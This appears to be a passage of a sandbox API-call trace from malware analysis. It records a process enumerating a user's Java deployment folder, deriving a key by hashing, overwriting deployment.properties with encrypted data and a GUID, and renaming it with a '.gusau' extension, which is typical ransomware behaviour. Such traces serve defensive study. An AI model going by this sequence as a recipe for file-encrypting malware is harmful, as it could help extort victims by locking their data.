PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941478 [0119.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0119.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941478 | out: hHeap=0xd10000) returned 1 [0119.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0119.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0119.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0119.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0119.286] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.286] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.286] PathFindFileNameW (pszPath="") returned="" [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.286] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.288] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.288] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0119.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0119.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.288] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0119.288] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.288] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=719) returned 1 [0119.288] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.290] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.290] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.292] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.292] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x2cf, lpOverlapped=0x0) returned 1 [0119.292] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.292] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.292] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.292] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.293] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.293] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.293] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.293] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.293] GetLastError () returned 0x0 [0119.293] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.293] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2d0) returned 0x39f4ef8 [0119.293] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.293] WriteFile (in: hFile=0x610, lpBuffer=0x39f4ef8*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f4ef8*, lpNumberOfBytesWritten=0x405fb24*=0x2ca, lpOverlapped=0x0) returned 1 [0119.293] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.293] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.293] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.294] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.294] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.294] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.294] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.294] CloseHandle (hObject=0x610) returned 1 [0119.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0119.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x39f4ef8 [0119.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0119.295] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.gusau")) returned 1 [0119.297] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.297] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0119.298] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0119.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974258 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xfc) returned 0xdcc590 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e1d0 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e680 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e748 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39743a8 | out: hHeap=0xd10000) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a438 | out: hHeap=0xd10000) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e4f0 | out: hHeap=0xd10000) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e5b8 | out: hHeap=0xd10000) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e360 | out: hHeap=0xd10000) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e428 | out: hHeap=0xd10000) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39326e8 | out: hHeap=0xd10000) returned 1 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39743a8 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974258 | out: hHeap=0xd10000) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.299] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f83f8 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8360 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f83f8 | out: hHeap=0xd10000) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.299] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0 [0119.299] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f38 | out: hHeap=0xd10000) returned 1 [0119.299] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7f38 [0119.300] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: 